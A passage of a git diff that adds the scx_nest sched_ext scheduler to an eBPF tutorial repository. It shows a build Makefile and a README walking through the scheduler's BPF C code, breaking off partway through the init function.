skel->rodata->fifo_sched = true; + break; + case 'v': + verbose = true; + break; + default: + fprintf(stderr, help_fmt, basename(argv[0])); + return opt != 'h'; + } + } + + SCX_OPS_LOAD(skel, simple_ops, scx_simple, uei); + link = SCX_OPS_ATTACH(skel, simple_ops, scx_simple); + + while (!exit_req && !UEI_EXITED(skel, uei)) { + __u64 stats[2]; + + read_stats(skel, stats); + printf("local=%llu global=%llu\n", stats[0], stats[1]); + fflush(stdout); + sleep(1); + } + + bpf_link__destroy(link); + ecode = UEI_REPORT(skel, uei); + scx_simple__destroy(skel); + + if (UEI_ECODE_RESTART(ecode)) + goto restart; + return 0; +} diff --git a/src/45-scx-nest/.config b/src/45-scx-nest/.config new file mode 100644 index 00000000..29189131 --- /dev/null +++ b/src/45-scx-nest/.config @@ -0,0 +1,2 @@ +level=Depth +type=Scheduler diff --git a/src/45-scx-nest/.gitignore b/src/45-scx-nest/.gitignore new file mode 100644 index 00000000..fafeaf8a --- /dev/null +++ b/src/45-scx-nest/.gitignore @@ -0,0 +1,3 @@ +scx_simple +scx_nest +.output \ No newline at end of file diff --git a/src/45-scx-nest/Makefile b/src/45-scx-nest/Makefile new file mode 100644 index 00000000..4b4f5744 --- /dev/null +++ b/src/45-scx-nest/Makefile @@ -0,0 +1,144 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -Iinclude/ -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = scx_nest + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -mlittle-endian -g -O2 -mcpu=v3 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(Q)$(BPFTOOL) gen object $(<:.o=.linked1.o) $< + $(Q)$(BPFTOOL) gen object $(<:.o=.linked2.o) $(<:.o=.linked1.o) + $(Q)$(BPFTOOL) gen object $(<:.o=.linked3.o) $(<:.o=.linked2.o) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< name $(APPS) > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/45-scx-nest/README.md b/src/45-scx-nest/README.md new file mode 100644 index 00000000..6f662b43 --- /dev/null +++ b/src/45-scx-nest/README.md @@ -0,0 +1,929 @@ +# eBPF Tutorial by Example: Implementing the `scx_nest` Scheduler + +In the ever-evolving landscape of system performance optimization, the ability to customize and extend kernel behavior is invaluable. One of the most powerful tools for achieving this is eBPF (extended Berkeley Packet Filter). In this tutorial, we'll explore the implementation of the `scx_nest` scheduler, an advanced eBPF program that leverages the `sched_ext` scheduler class introduced in Linux kernel version `6.12`. By the end of this guide, you'll understand how to build a sophisticated scheduler that dynamically adjusts task placement based on CPU core frequencies and utilization. + +> The complete source code: + +## Introduction to `sched_ext` + +The `sched_ext` scheduler class marks a significant advancement in Linux kernel scheduling capabilities. Unlike traditional schedulers, `sched_ext` allows its behavior to be defined dynamically through a set of BPF (Berkeley Packet Filter) programs. This flexibility enables developers to implement custom scheduling algorithms tailored to specific workloads and system requirements. + +## Understanding the `scx_nest` Scheduler + +### Overview + +The `scx_nest` scheduler is inspired by the Inria Paris paper titled "[OS Scheduling with Nest: Keeping Tasks Close Together on Warm Cores](https://hal.inria.fr/hal-03612592/file/paper.pdf)." Developed by Meta Platforms, Inc., `scx_nest` focuses on encouraging task placement on CPU cores that are likely to run at higher frequencies based on recent usage patterns. This approach aims to optimize performance by ensuring that tasks execute on the most efficient cores available. + +The scheduler operates as a global weighted virtual time (vtime) scheduler, similar to the Completely Fair Scheduler (CFS), while utilizing the Nest algorithm to select idle cores during task wakeup. This dual strategy ensures that tasks are not only fairly distributed but also placed on cores that can execute them most effectively. + +`scx_nest` is designed to optimize workloads with relatively low CPU utilization that can benefit from running on a subset of cores. By concentrating tasks on fewer cores, the scheduler helps maintain high frequencies on those cores, enhancing performance. However, for workloads that perform better when distributed across many cores to avoid cache thrashing, `scx_nest` may not be the ideal choice. Evaluating the suitability of `scx_nest` for a specific workload often requires experimentation. + +Given its design, `scx_nest` is suitable for production environments, provided the hardware constraints are met. It performs optimally on single CCX (Core Complex) or single-socket hosts with a uniform L3 cache topology. While preemption is not implemented in the current version, the shared scheduling queue across all CPUs ensures that tasks at the front of the queue are executed promptly, provided there are enough CPUs available. + +## High-Level Code Analysis + +The `scx_nest` scheduler's implementation is intricate, involving various data structures, maps, and functions that work in harmony to manage task placement and CPU core utilization. The complete source code is available in the [eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) repository. Below, we'll dissect the core components of the scheduler, explaining each part in detail. + +### Core Data Structures and Maps + +#### Task Context (`task_ctx`) + +Each task in the system has an associated context that maintains scheduling-related information. This context is crucial for making informed scheduling decisions based on the task's history and current state. + +```c +/* Per-task scheduling context */ +struct task_ctx { + /* + * A temporary cpumask for calculating a task's primary and reserve + * mask. + */ + struct bpf_cpumask __kptr *tmp_mask; + + /* + * The number of times that a task observes that its previous core is + * not idle. If this occurs r_impatient times in a row, a core is + * attempted to be retrieved from either the reserve nest, or the + * fallback nest. + */ + u32 prev_misses; + + /* + * A core that the task is "attached" to, meaning the last core that it + * executed on at least twice in a row, and the core that it first + * tries to migrate to on wakeup. The task only migrates to the + * attached core if it is idle and in the primary nest. + */ + s32 attached_core; + + /* + * The last core that the task executed on. This is used to determine + * if the task should attach to the core that it will execute on next. + */ + s32 prev_cpu; +}; +``` + +The `task_ctx` structure holds a temporary CPU mask (`tmp_mask`) used for calculating the task's primary and reserve CPU sets. The `prev_misses` counter tracks how often the task's preferred core was not idle, influencing decisions to migrate the task to different cores. The `attached_core` indicates the core the task is currently bound to, ensuring it runs on a high-frequency core when possible. Lastly, `prev_cpu` records the last core the task executed on, aiding in maintaining task-core affinity. + +#### Per-CPU Context (`pcpu_ctx`) + +Each CPU has an associated context that manages timers and compaction state. This context helps in determining when a core should be demoted from the primary nest due to inactivity. + +```c +struct pcpu_ctx { + /* The timer used to compact the core from the primary nest. */ + struct bpf_timer timer; + + /* Whether the current core has been scheduled for compaction. */ + bool scheduled_compaction; +}; +``` + +The `pcpu_ctx` structure contains a `bpf_timer` used to schedule compaction events and a boolean flag `scheduled_compaction` indicating whether a compaction has been scheduled for the core. + +#### Maps + +Several BPF maps are utilized to store contexts and manage timers: + +```c +/* Task storage map */ +struct { + __uint(type, BPF_MAP_TYPE_TASK_STORAGE); + __uint(map_flags, BPF_F_NO_PREALLOC); + __type(key, int); + __type(value, struct task_ctx); +} task_ctx_stor SEC(".maps"); + +/* Per-CPU contexts */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1024); + __type(key, s32); + __type(value, struct pcpu_ctx); +} pcpu_ctxs SEC(".maps"); + +/* Statistics timer */ +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, u32); + __type(value, struct stats_timer); +} stats_timer SEC(".maps"); +``` + +- **`task_ctx_stor`:** This map stores the scheduling context for each task, enabling the scheduler to access and modify task-specific information. +- **`pcpu_ctxs`:** An array map that holds the per-CPU contexts, allowing the scheduler to manage timers and compaction states for each CPU. +- **`stats_timer`:** A single-entry array map used to manage a central timer for collecting scheduling statistics. + +Additionally, the scheduler maintains masks for primary, reserved, other, and idle CPUs, as well as a statistics map to track various scheduler metrics. + +### Core Functions + +#### `stat_inc` + +A helper function to increment scheduler statistics: + +```c +static __always_inline void stat_inc(u32 idx) +{ + u64 *cnt_p = bpf_map_lookup_elem(&stats, &idx); + if (cnt_p) + (*cnt_p)++; +} +``` + +This function looks up a counter in the `stats` map and increments it if the counter exists. It's used throughout the scheduler to track various events and states. + +#### `vtime_before` + +A utility function to compare virtual times: + +```c +static inline bool vtime_before(u64 a, u64 b) +{ + return (s64)(a - b) < 0; +} +``` + +This function determines if virtual time `a` is before `b`, facilitating time-based scheduling decisions. + +#### `try_make_core_reserved` + +Attempts to promote a core to the reserved nest: + +```c +static __always_inline void +try_make_core_reserved(s32 cpu, struct bpf_cpumask * reserved, bool promotion) +{ + s32 tmp_nr_reserved; + + /* + * This check is racy, but that's OK. If we incorrectly fail to promote + * a core to reserve, it's because another context added or removed a + * core from reserved in this small window. It will balance out over + * subsequent wakeups. + */ + tmp_nr_reserved = nr_reserved; + if (tmp_nr_reserved < r_max) { + /* + * It's possible that we could exceed r_max for a time here, + * but that should balance out as more cores are either demoted + * or fail to be promoted into the reserve nest. + */ + __sync_fetch_and_add(&nr_reserved, 1); + bpf_cpumask_set_cpu(cpu, reserved); + if (promotion) + stat_inc(NEST_STAT(PROMOTED_TO_RESERVED)); + else + stat_inc(NEST_STAT(DEMOTED_TO_RESERVED)); + } else { + bpf_cpumask_clear_cpu(cpu, reserved); + stat_inc(NEST_STAT(RESERVED_AT_CAPACITY)); + } +} +``` + +The `try_make_core_reserved` function attempts to add a CPU core to the reserved mask. It first checks if the number of reserved cores (`nr_reserved`) is below the maximum allowed (`r_max`). If so, it increments the `nr_reserved` counter and adds the core to the reserved mask. Depending on whether the core is being promoted or demoted, it increments the corresponding statistic. If the reserved capacity is full, it clears the core from the reserved mask and updates the relevant statistic. + +#### `update_attached` + +Updates the task's attached core based on recent execution: + +```c +static void update_attached(struct task_ctx *tctx, s32 prev_cpu, s32 new_cpu) +{ + if (tctx->prev_cpu == new_cpu) + tctx->attached_core = new_cpu; + tctx->prev_cpu = prev_cpu; +} +``` + +This function updates the `attached_core` for a task. If the task has executed on the same core consecutively, it attaches the task to that core. It then updates the `prev_cpu` to reflect the latest core the task ran on. + +#### `compact_primary_core` + +Handles the compaction of a primary core by demoting it to the reserve nest: + +```c +static int compact_primary_core(void *map, int *key, struct bpf_timer *timer) +{ + struct bpf_cpumask *primary, *reserve; + s32 cpu = bpf_get_smp_processor_id(); + struct pcpu_ctx *pcpu_ctx; + + stat_inc(NEST_STAT(CALLBACK_COMPACTED)); + + /* + * If we made it to this callback, it means that the timer callback was + * never cancelled, and so the core needs to be demoted from the + * primary nest. + */ + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &cpu); + if (!pcpu_ctx) { + scx_bpf_error("Couldn't lookup pcpu ctx"); + return 0; + } + bpf_rcu_read_lock(); + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + scx_bpf_error("Couldn't find primary or reserve"); + bpf_rcu_read_unlock(); + return 0; + } + + bpf_cpumask_clear_cpu(cpu, primary); + try_make_core_reserved(cpu, reserve, false); + bpf_rcu_read_unlock(); + pcpu_ctx->scheduled_compaction = false; + return 0; +} +``` + +When the compaction timer expires, `compact_primary_core` is invoked. It demotes the current CPU core from the primary nest to the reserve nest by clearing it from the primary mask and attempting to add it to the reserve mask using `try_make_core_reserved`. This ensures that inactive cores are efficiently managed, maintaining a balance between performance and resource utilization. + +#### `nest_select_cpu` + +Determines the appropriate CPU for a task upon waking up: + +```c +s32 BPF_STRUCT_OPS(nest_select_cpu, struct task_struct *p, s32 prev_cpu, u64 wake_flags) +{ + struct bpf_cpumask *p_mask, *primary, *reserve; + s32 cpu; + struct task_ctx *tctx; + struct pcpu_ctx *pcpu_ctx; + bool direct_to_primary = false, reset_impatient = true; + + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, 0); + if (!tctx) + return -ENOENT; + + bpf_rcu_read_lock(); + p_mask = tctx->tmp_mask; + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!p_mask || !primary || !reserve) { + bpf_rcu_read_unlock(); + return -ENOENT; + } + + tctx->prev_cpu = prev_cpu; + + bpf_cpumask_and(p_mask, p->cpus_ptr, cast_mask(primary)); + + /* First try to wake the task on its attached core. */ + if (bpf_cpumask_test_cpu(tctx->attached_core, cast_mask(p_mask)) && + scx_bpf_test_and_clear_cpu_idle(tctx->attached_core)) { + cpu = tctx->attached_core; + stat_inc(NEST_STAT(WAKEUP_ATTACHED)); + goto migrate_primary; + } + + /* + * Try to stay on the previous core if it's in the primary set, and + * there's no hypertwin. If the previous core is the core the task is + * attached to, don't bother as we already just tried that above. + */ + if (prev_cpu != tctx->attached_core && + bpf_cpumask_test_cpu(prev_cpu, cast_mask(p_mask)) && + scx_bpf_test_and_clear_cpu_idle(prev_cpu)) { + cpu = prev_cpu; + stat_inc(NEST_STAT(WAKEUP_PREV_PRIMARY)); + goto migrate_primary; + } + + if (find_fully_idle) { + /* Then try any fully idle core in primary. */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), + SCX_PICK_IDLE_CORE); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_FULLY_IDLE_PRIMARY)); + goto migrate_primary; + } + } + + /* Then try _any_ idle core in primary, even if its hypertwin is active. */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), 0); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_ANY_IDLE_PRIMARY)); + goto migrate_primary; + } + + if (r_impatient > 0 && ++tctx->prev_misses >= r_impatient) { + direct_to_primary = true; + tctx->prev_misses = 0; + stat_inc(NEST_STAT(TASK_IMPATIENT)); + } + + reset_impatient = false; + + /* Then try any fully idle core in reserve. */ + bpf_cpumask_and(p_mask, p->cpus_ptr, cast_mask(reserve)); + if (find_fully_idle) { + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), + SCX_PICK_IDLE_CORE); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_FULLY_IDLE_RESERVE)); + goto promote_to_primary; + } + } + + /* Then try _any_ idle core in reserve, even if its hypertwin is active. */ + cpu = scx_bpf_pick_idle_cpu(cast_mask(p_mask), 0); + if (cpu >= 0) { + stat_inc(NEST_STAT(WAKEUP_ANY_IDLE_RESERVE)); + goto promote_to_primary; + } + + /* Then try _any_ idle core in the task's cpumask. */ + cpu = scx_bpf_pick_idle_cpu(p->cpus_ptr, 0); + if (cpu >= 0) { + /* + * We found a core that (we didn't _think_) is in any nest. + * This means that we need to either promote the core to the + * reserve nest, or if we're going direct to primary due to + * r_impatient being exceeded, promote directly to primary. + * + * We have to do one final check here to see if the core is in + * the primary or reserved cpumask because we could potentially + * race with the core changing states between AND'ing the + * primary and reserve masks with p->cpus_ptr above, and + * atomically reserving it from the idle mask with + * scx_bpf_pick_idle_cpu(). This is also technically true of + * the checks above, but in all of those cases we just put the + * core directly into the primary mask so it's not really that + * big of a problem. Here, we want to make sure that we don't + * accidentally put a core into the reserve nest that was e.g. + * already in the primary nest. This is unlikely, but we check + * for it on what should be a relatively cold path regardless. + */ + stat_inc(NEST_STAT(WAKEUP_IDLE_OTHER)); + if (bpf_cpumask_test_cpu(cpu, cast_mask(primary))) + goto migrate_primary; + else if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) + goto promote_to_primary; + else if (direct_to_primary) + goto promote_to_primary; + else + try_make_core_reserved(cpu, reserve, true); + bpf_rcu_read_unlock(); + return cpu; + } + + bpf_rcu_read_unlock(); + return prev_cpu; + +promote_to_primary: + stat_inc(NEST_STAT(PROMOTED_TO_PRIMARY)); +migrate_primary: + if (reset_impatient) + tctx->prev_misses = 0; + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &cpu); + if (pcpu_ctx) { + if (pcpu_ctx->scheduled_compaction) { + if (bpf_timer_cancel(&pcpu_ctx->timer) < 0) + scx_bpf_error("Failed to cancel pcpu timer"); + if (bpf_timer_set_callback(&pcpu_ctx->timer, compact_primary_core)) + scx_bpf_error("Failed to re-arm pcpu timer"); + pcpu_ctx->scheduled_compaction = false; + stat_inc(NEST_STAT(CANCELLED_COMPACTION)); + } + } else { + scx_bpf_error("Failed to lookup pcpu ctx"); + } + bpf_cpumask_set_cpu(cpu, primary); + /* + * Check to see whether the CPU is in the reserved nest. This can + * happen if the core is compacted concurrently with us trying to place + * the currently-waking task onto it. Similarly, this is the expected + * state of the core if we found the core in the reserve nest and are + * promoting it. + * + * We don't have to worry about racing with any other waking task here + * because we've atomically reserved the core with (some variant of) + * scx_bpf_pick_idle_cpu(). + */ + if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) { + __sync_sub_and_fetch(&nr_reserved, 1); + bpf_cpumask_clear_cpu(cpu, reserve); + } + bpf_rcu_read_unlock(); + update_attached(tctx, prev_cpu, cpu); + scx_bpf_dispatch(p, SCX_DSQ_LOCAL, slice_ns, 0); + return cpu; +} +``` + +The `nest_select_cpu` function is the heart of the `scx_nest` scheduler. When a task wakes up, this function determines the most suitable CPU core for its execution. The function follows a series of checks to ensure that tasks are placed on high-frequency, idle cores, promoting efficiency and performance. + +Initially, it retrieves the task's context from the `task_ctx_stor` map. It then locks the read-copy-update (RCU) lock to safely access the primary and reserve CPU masks. The scheduler first attempts to place the task on its attached core, ensuring core affinity. If the attached core is not idle, it tries the previous core. Depending on various conditions, including the task's impatience (`r_impatient`) and the availability of idle cores in the primary and reserve nests, the scheduler decides whether to migrate the task, promote a core to the primary nest, or demote a core to the reserve nest. + +Throughout the process, the scheduler updates relevant statistics to provide insights into its operations. The use of RCU locks ensures that the scheduler's decisions are made safely without interfering with other concurrent operations. + +#### `nest_enqueue` + +Handles the enqueuing of tasks into the scheduling queue: + +```c +void BPF_STRUCT_OPS(nest_enqueue, struct task_struct *p, u64 enq_flags) +{ + struct task_ctx *tctx; + u64 vtime = p->scx.dsq_vtime; + + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, 0); + if (!tctx) { + scx_bpf_error("Unable to find task ctx"); + return; + } + + /* + * Limit the amount of budget that an idling task can accumulate + * to one slice. + */ + if (vtime_before(vtime, vtime_now - slice_ns)) + vtime = vtime_now - slice_ns; + + scx_bpf_dispatch_vtime(p, FALLBACK_DSQ_ID, slice_ns, vtime, enq_flags); +} +``` + +The `nest_enqueue` function manages the queuing of tasks, adjusting their virtual time (`vtime`) to ensure fairness and prevent tasks from accumulating excessive execution budget while idling. If a task's `vtime` falls below a certain threshold, it's adjusted to maintain balance within the scheduler. + +#### `nest_dispatch` + +Manages the dispatching of tasks to CPU cores: + +```c +void BPF_STRUCT_OPS(nest_dispatch, s32 cpu, struct task_struct *prev) +{ + struct pcpu_ctx *pcpu_ctx; + struct bpf_cpumask *primary, *reserve; + s32 key = cpu; + bool in_primary; + + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + scx_bpf_error("No primary or reserve cpumask"); + return; + } + + pcpu_ctx = bpf_map_lookup_elem(&pcpu_ctxs, &key); + if (!pcpu_ctx) { + scx_bpf_error("Failed to lookup pcpu ctx"); + return; + } + + if (!scx_bpf_consume(FALLBACK_DSQ_ID)) { + in_primary = bpf_cpumask_test_cpu(cpu, cast_mask(primary)); + + if (prev && (prev->scx.flags & SCX_TASK_QUEUED) && in_primary) { + scx_bpf_dispatch(prev, SCX_DSQ_LOCAL, slice_ns, 0); + return; + } + + stat_inc(NEST_STAT(NOT_CONSUMED)); + if (in_primary) { + /* + * Immediately demote a primary core if the previous + * task on it is dying + * + * Note that we elect to not compact the "first" CPU in + * the mask so as to encourage at least one core to + * remain in the nest. It would be better to check for + * whether there is only one core remaining in the + * nest, but BPF doesn't yet have a kfunc for querying + * cpumask weight. + */ + if ((prev && prev->__state == TASK_DEAD) && + (cpu != bpf_cpumask_first(cast_mask(primary)))) { + stat_inc(NEST_STAT(EAGERLY_COMPACTED)); + bpf_cpumask_clear_cpu(cpu, primary); + try_make_core_reserved(cpu, reserve, false); + } else { + pcpu_ctx->scheduled_compaction = true; + /* + * The core isn't being used anymore. Set a + * timer to remove the core from the nest in + * p_remove if it's still unused by that point. + */ + bpf_timer_start(&pcpu_ctx->timer, p_remove_ns, + BPF_F_TIMER_CPU_PIN); + stat_inc(NEST_STAT(SCHEDULED_COMPACTION)); + } + } + return; + } + stat_inc(NEST_STAT(CONSUMED)); +} +``` + +The `nest_dispatch` function is responsible for dispatching tasks to CPU cores. It first checks if there's a task available in the fallback dispatch queue (`FALLBACK_DSQ_ID`). If no task is consumed, it evaluates whether the previous task on the CPU is dead. If so, and the CPU is not the first in the primary mask, the scheduler demotes the core to the reserve nest. Otherwise, it schedules a compaction timer to potentially demote the core after a specified duration (`p_remove_ns`). If a task is successfully consumed from the fallback queue, it increments the corresponding statistic. + +#### `nest_running` + +Updates the global virtual time when a task starts running: + +```c +void BPF_STRUCT_OPS(nest_running, struct task_struct *p) +{ + /* + * Global vtime always progresses forward as tasks start executing. The + * test and update can be performed concurrently from multiple CPUs and + * thus racy. Any error should be contained and temporary. Let's just + * live with it. + */ + if (vtime_before(vtime_now, p->scx.dsq_vtime)) + vtime_now = p->scx.dsq_vtime; +} +``` + +The `nest_running` function ensures that the global virtual time (`vtime_now`) progresses forward as tasks start executing. This mechanism helps maintain fairness and temporal consistency across the scheduler's operations. + +#### `nest_stopping` + +Handles the stopping of a task, adjusting its virtual time: + +```c +void BPF_STRUCT_OPS(nest_stopping, struct task_struct *p, bool runnable) +{ + /* scale the execution time by the inverse of the weight and charge */ + p->scx.dsq_vtime += (slice_ns - p->scx.slice) * 100 / p->scx.weight; +} +``` + +When a task stops running, `nest_stopping` adjusts its virtual time based on its execution slice and weight. This adjustment ensures that tasks are fairly accounted for in the scheduler's virtual time calculations, maintaining balance and preventing any single task from monopolizing CPU resources. + +#### `nest_init_task` + +Initializes a new task's context: + +```c +s32 BPF_STRUCT_OPS(nest_init_task, struct task_struct *p, + struct scx_init_task_args *args) +{ + struct task_ctx *tctx; + struct bpf_cpumask *cpumask; + + /* + * @p is new. Let's ensure that its task_ctx is available. We can sleep + * in this function and the following will automatically use GFP_KERNEL. + */ + tctx = bpf_task_storage_get(&task_ctx_stor, p, 0, + BPF_LOCAL_STORAGE_GET_F_CREATE); + if (!tctx) + return -ENOMEM; + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + + cpumask = bpf_kptr_xchg(&tctx->tmp_mask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + tctx->attached_core = -1; + tctx->prev_cpu = -1; + + return 0; +} +``` + +The `nest_init_task` function initializes the scheduling context for a new task. It ensures that the task's context is available by retrieving it from the `task_ctx_stor` map, creating a new `bpf_cpumask` for temporary calculations, and setting initial values for `attached_core` and `prev_cpu`. + +#### `nest_enable` + +Enables scheduling for a task by setting its virtual time: + +```c +void BPF_STRUCT_OPS(nest_enable, struct task_struct *p) +{ + p->scx.dsq_vtime = vtime_now; +} +``` + +The `nest_enable` function activates scheduling for a task by initializing its virtual time (`dsq_vtime`) to the current global virtual time (`vtime_now`). This ensures that the task's scheduling state is synchronized with the scheduler's virtual time. + +#### `stats_timerfn` + +Handles periodic statistics collection: + +```c +static int stats_timerfn(void *map, int *key, struct bpf_timer *timer) +{ + s32 cpu; + struct bpf_cpumask *primary, *reserve; + const struct cpumask *idle; + stats_primary_mask = 0; + stats_reserved_mask = 0; + stats_other_mask = 0; + stats_idle_mask = 0; + long err; + + bpf_rcu_read_lock(); + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + bpf_rcu_read_unlock(); + scx_bpf_error("Failed to lookup primary or reserve"); + return 0; + } + + idle = scx_bpf_get_idle_cpumask(); + bpf_for(cpu, 0, nr_cpus) { + if (bpf_cpumask_test_cpu(cpu, cast_mask(primary))) + stats_primary_mask |= (1ULL << cpu); + else if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) + stats_reserved_mask |= (1ULL << cpu); + else + stats_other_mask |= (1ULL << cpu); + + if (bpf_cpumask_test_cpu(cpu, idle)) + stats_idle_mask |= (1ULL << cpu); + } + bpf_rcu_read_unlock(); + scx_bpf_put_idle_cpumask(idle); + + err = bpf_timer_start(timer, sampling_cadence_ns - 5000, 0); + if (err) + scx_bpf_error("Failed to arm stats timer"); + + return 0; +} +``` + +The `stats_timerfn` function is invoked periodically by a central timer to collect and update scheduler statistics. It captures the current state of CPU cores, categorizing them into primary, reserve, other, and idle masks. This information provides insights into how the scheduler is managing CPU resources and task placement over time. After collecting the statistics, the function re-arms the timer to ensure continuous monitoring. + +#### `nest_init` + +Initializes the `scx_nest` scheduler: + +```c +s32 BPF_STRUCT_OPS_SLEEPABLE(nest_init) +{ + struct bpf_cpumask *cpumask; + s32 cpu; + int err; + struct bpf_timer *timer; + u32 key = 0; + + err = scx_bpf_create_dsq(FALLBACK_DSQ_ID, NUMA_NO_NODE); + if (err) { + scx_bpf_error("Failed to create fallback DSQ"); + return err; + } + + cpumask = bpf_cpumask_create(); + if 